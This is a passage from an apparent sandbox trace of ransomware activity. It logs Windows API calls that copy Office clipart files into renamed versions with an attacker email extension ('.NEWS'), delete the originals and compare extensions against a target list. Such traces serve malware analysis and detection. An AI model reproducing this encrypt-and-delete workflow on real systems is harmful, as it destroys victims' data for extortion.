files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0083.315] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.315] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0083.316] GetLastError () returned 0x0 [0083.316] ReadFile (in: hFile=0x384, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0xe6c, lpOverlapped=0x0) returned 1 [0083.317] WriteFile (in: hFile=0x350, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xe70, lpOverlapped=0x0) returned 1 [0083.318] ReadFile (in: hFile=0x384, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0083.318] WriteFile (in: hFile=0x350, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0083.318] SetEndOfFile (hFile=0x350) returned 1 [0083.319] CloseHandle (hObject=0x350) returned 1 [0083.319] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.319] SetEndOfFile (hFile=0x384) returned 1 [0083.320] CloseHandle (hObject=0x384) returned 1 [0083.320] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0083.320] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf")) returned 1 [0083.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0083.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0083.320] lstrlenW (lpString=".doc") returned 4 [0083.320] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.320] lstrlenW (lpString=".docx") returned 5 [0083.320] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.320] lstrlenW (lpString=".pdf") returned 4 [0083.320] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.320] lstrlenW (lpString=".xls") returned 4 [0083.320] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.320] lstrlenW (lpString=".xlsx") returned 5 [0083.320] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.320] lstrlenW (lpString=".ppt") returned 4 [0083.320] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0083.321] lstrlenW (lpString=".zip") returned 4 [0083.321] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.321] lstrlenW (lpString=".rar") returned 4 [0083.321] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.321] lstrlenW (lpString=".bz2") returned 4 [0083.321] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.321] lstrlenW (lpString=".7z") returned 3 [0083.321] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0083.321] lstrlenW (lpString=".dbf") returned 4 [0083.321] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0083.321] lstrlenW (lpString=".1cd") returned 4 [0083.321] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0083.321] lstrlenW (lpString=".jpg") returned 4 [0083.321] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0083.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0083.321] lstrlenW (lpString=".doc") returned 4 [0083.321] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.321] lstrlenW (lpString=".docx") returned 5 [0083.321] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.321] lstrlenW (lpString=".pdf") returned 4 [0083.321] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.321] lstrlenW (lpString=".xls") returned 4 [0083.321] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.321] lstrlenW (lpString=".xlsx") returned 5 [0083.321] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.321] lstrlenW (lpString=".ppt") returned 4 [0083.321] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0083.321] lstrlenW (lpString=".zip") returned 4 [0083.321] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.321] lstrlenW (lpString=".rar") returned 4 [0083.322] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.322] lstrlenW (lpString=".bz2") returned 4 [0083.322] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.322] lstrlenW (lpString=".7z") returned 3 [0083.322] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0083.322] lstrlenW (lpString=".dbf") returned 4 [0083.322] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0083.322] lstrlenW (lpString=".1cd") returned 4 [0083.322] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0083.322] lstrlenW (lpString=".jpg") returned 4 [0083.322] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.322] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0083.322] lstrlenW (lpString="DD01139_.WMF") returned 12 [0083.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0083.322] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=3632) returned 1 [0083.322] CloseHandle (hObject=0x384) returned 1 [0083.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf")) returned 0x220 [0083.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0083.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0083.323] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.323] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0083.323] GetLastError () returned 0x0 [0083.323] ReadFile (in: hFile=0x384, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0xe30, lpOverlapped=0x0) returned 1 [0083.798] WriteFile (in: hFile=0x350, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xe40, lpOverlapped=0x0) returned 1 [0083.799] ReadFile (in: hFile=0x384, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0083.799] WriteFile (in: hFile=0x350, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0083.799] SetEndOfFile (hFile=0x350) returned 1 [0083.799] CloseHandle (hObject=0x350) returned 1 [0083.799] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.799] SetEndOfFile (hFile=0x384) returned 1 [0083.800] CloseHandle (hObject=0x384) returned 1 [0083.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0083.800] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf")) returned 1 [0084.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0084.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0084.768] lstrlenW (lpString=".doc") returned 4 [0084.768] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.768] lstrlenW (lpString=".docx") returned 5 [0084.768] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.768] lstrlenW (lpString=".pdf") returned 4 [0084.768] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.768] lstrlenW (lpString=".xls") returned 4 [0084.768] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.768] lstrlenW (lpString=".xlsx") returned 5 [0084.768] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.768] lstrlenW (lpString=".ppt") returned 4 [0084.768] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0084.768] lstrlenW (lpString=".zip") returned 4 [0084.768] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.768] lstrlenW (lpString=".rar") returned 4 [0084.768] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.768] lstrlenW (lpString=".bz2") returned 4 [0084.768] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.768] lstrlenW (lpString=".7z") returned 3 [0084.768] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0084.768] lstrlenW (lpString=".dbf") returned 4 [0084.768] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0084.768] lstrlenW (lpString=".1cd") returned 4 [0084.768] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0084.768] lstrlenW (lpString=".jpg") returned 4 [0084.769] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0084.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0084.769] lstrlenW (lpString=".doc") returned 4 [0084.769] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.769] lstrlenW (lpString=".docx") returned 5 [0084.769] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.769] lstrlenW (lpString=".pdf") returned 4 [0084.769] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.769] lstrlenW (lpString=".xls") returned 4 [0084.769] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.769] lstrlenW (lpString=".xlsx") returned 5 [0084.769] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.769] lstrlenW (lpString=".ppt") returned 4 [0084.769] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0084.769] lstrlenW (lpString=".zip") returned 4 [0084.769] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.769] lstrlenW (lpString=".rar") returned 4 [0084.769] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.769] lstrlenW (lpString=".bz2") returned 4 [0084.769] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.769] lstrlenW (lpString=".7z") returned 3 [0084.769] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0084.769] lstrlenW (lpString=".dbf") returned 4 [0084.769] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0084.769] lstrlenW (lpString=".1cd") returned 4 [0084.769] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0084.769] lstrlenW (lpString=".jpg") returned 4 [0084.769] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.770] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0084.770] lstrlenW (lpString="DD01434_.WMF") returned 12 [0084.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0084.774] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=900) returned 1 [0084.774] CloseHandle (hObject=0x338) returned 1 [0084.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 0x220 [0084.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0084.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0084.775] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.775] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0084.775] GetLastError () returned 0x0 [0084.775] ReadFile (in: hFile=0x338, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x384, lpOverlapped=0x0) returned 1 [0084.776] WriteFile (in: hFile=0x36c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x390, lpOverlapped=0x0) returned 1 [0084.777] ReadFile (in: hFile=0x338, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0084.777] WriteFile (in: hFile=0x36c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0084.778] SetEndOfFile (hFile=0x36c) returned 1 [0084.778] CloseHandle (hObject=0x36c) returned 1 [0084.778] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.778] SetEndOfFile (hFile=0x338) returned 1 [0084.779] CloseHandle (hObject=0x338) returned 1 [0084.779] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0084.779] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 1 [0084.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0084.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0084.779] lstrlenW (lpString=".doc") returned 4 [0084.779] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.779] lstrlenW (lpString=".docx") returned 5 [0084.779] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.779] lstrlenW (lpString=".pdf") returned 4 [0084.779] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.779] lstrlenW (lpString=".xls") returned 4 [0084.779] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.779] lstrlenW (lpString=".xlsx") returned 5 [0084.779] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.779] lstrlenW (lpString=".ppt") returned 4 [0084.779] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0084.779] lstrlenW (lpString=".zip") returned 4 [0084.779] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.780] lstrlenW (lpString=".rar") returned 4 [0084.780] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.780] lstrlenW (lpString=".bz2") returned 4 [0084.780] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.780] lstrlenW (lpString=".7z") returned 3 [0084.780] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0084.780] lstrlenW (lpString=".dbf") returned 4 [0084.780] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0084.780] lstrlenW (lpString=".1cd") returned 4 [0084.780] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0084.780] lstrlenW (lpString=".jpg") returned 4 [0084.780] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0084.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0084.780] lstrlenW (lpString=".doc") returned 4 [0084.780] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.780] lstrlenW (lpString=".docx") returned 5 [0084.780] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.780] lstrlenW (lpString=".pdf") returned 4 [0084.780] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.780] lstrlenW (lpString=".xls") returned 4 [0084.780] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.780] lstrlenW (lpString=".xlsx") returned 5 [0084.780] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.780] lstrlenW (lpString=".ppt") returned 4 [0084.780] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0084.780] lstrlenW (lpString=".zip") returned 4 [0084.780] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.780] lstrlenW (lpString=".rar") returned 4 [0084.780] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.780] lstrlenW (lpString=".bz2") returned 4 [0084.780] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.781] lstrlenW (lpString=".7z") returned 3 [0084.781] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0084.781] lstrlenW (lpString=".dbf") returned 4 [0084.781] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0084.781] lstrlenW (lpString=".1cd") returned 4 [0084.781] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0084.781] lstrlenW (lpString=".jpg") returned 4 [0084.781] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.781] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0084.781] lstrlenW (lpString="DD01585_.WMF") returned 12 [0084.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0084.781] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=2524) returned 1 [0084.781] CloseHandle (hObject=0x338) returned 1 [0084.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 0x220 [0084.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0084.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0084.782] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.782] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, 